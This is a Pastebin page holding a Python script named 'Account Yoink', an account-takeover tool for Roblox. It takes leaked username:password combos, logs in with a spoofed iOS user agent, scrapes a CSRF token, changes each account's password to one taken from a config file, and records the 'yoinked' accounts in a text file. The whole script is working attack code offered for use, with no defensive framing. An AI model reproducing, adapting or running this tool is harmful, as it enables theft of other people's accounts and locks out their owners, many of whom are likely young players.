Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Account Yoink by
- try:
- import requests, re
- import os
- import json
- import time
- except:
- print('ERROR:: missing module(s)')
- exit()
- config = json.loads(open('config.json', 'r').read())
- class rbx():
- def __init__(self):
- self.session = requests.Session()
- self.csrf = None
- self.username = None
- self.password = None
- def set_details(self, username, password):
- self.username = username
- self.password = password
- headers = {'User-Agent': 'ROBLOX iOS'}
- request = self.session.post('https://www.roblox.com/NewLogin',
- headers=headers,
- data = {
- 'username': self.username,
- 'password': self.password
- })
- if ('<h1>Login to Roblox</h1>' in request.content):
- print("Your login details do not seem to be correct")
- return False
- if ('.ROBLOSECURITY' in self.session.cookies.keys()):
- return True
- else:
- return False
- return False
- def get_details(self):
- headers = {'User-Agent': 'ROBLOX iOS'}
- getURL = "http://www.roblox.com/mobileapi/userinfo"
- request = self.session.get(getURL, headers=headers)
- return request.content
- def getToken(self):
- headers = {'User-Agent': 'ROBLOX iOS'}
- request = self.session.get("https://www.roblox.com/home", headers=headers)
- if ('<title>Login - Roblox</title>' in request.content):
- print("Unable to get token for {}").format(self.username)
- return False
- else:
- self.csrf = re.search(r"setToken\('(.+)'\);", request.content).group(1)
- print("Got token {} for {}").format(self.csrf, self.username)
- return True
- def changePassword(self):
- global config
- newPassword = config['new-password']
- headers = {'X-CSRF-TOKEN': self.csrf, 'User-Agent': 'ROBLOX iOS'}
- print("Attempting to steal {}").format(self.username)
- data = {
- 'oldPassword': self.password,
- 'newPassword': newPassword,
- 'confirmNewPassword': newPassword
- }
- self.session.post('https://www.roblox.com/account/changepassword', data=data, headers=headers)
- print("Changed: " + self.username + " to " + newPassword)
- self.logSuccess(self.username + ":" + newPassword + "\n")
- return True
- def logSuccess(self, string):
- with open("yoinked.txt", "a") as file:
- file.write(string)
- file.close()
- def check_combo():
- check = raw_input("Username:Password - ")
- if (check.find(":") == -1):
- print("Error in entry {}").format(check)
- return False
- session = rbx()
- username, password = check.split(':')
- if (session.set_details(username, password) == True):
- token = session.getToken()
- if (token == False):
- print("Invalid Token Response")
- return False
- checkAttempt = session.changePassword()
- if (checkAttempt == False):
- return False
- else:
- print("Error Setting Details")
- return False
- def check_prompt():
- username = raw_input("Enter Username - ")
- while not username:
- username = raw_input("Enter Username - ")
- password = raw_input("Enter Password - ")
- while not password:
- password = raw_input("Enter Password - ")
- session = rbx()
- if (session.set_details(username, password) == True):
- token = session.getToken()
- if (token == False):
- print("Invalid Token Response")
- return False
- checkAttempt = session.changePassword()
- if (checkAttempt == False):
- return False
- else:
- print("Error Setting Details")
- return False
- def ui_main():
- def title():
- print ('\n' * 100)
- print 'Official Account Yoink'
- def ui_combo():
- title()
- check_combo()
- raw_input('-- Hit Enter To Continue --')
- ui_main()
- def ui_prompt():
- title()
- check_prompt()
- raw_input('-- Hit Enter To Continue --')
- ui_main()
- title()
- print '> What do you wish to do'
- print '1 - Yoink by Combo (username:password)'
- print '2 - Yoink By Prompt (username and password separate)'
- print '3 - Exit'
- user_input = raw_input('$ ').lower()
- if (user_input == '1'):
- title()
- ui_combo()
- elif (user_input == '2'):
- title()
- ui_prompt()
- elif (user_input == '3'):
- return True
- ui_main()
- raw_input('-- Hit Enter To Close --')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement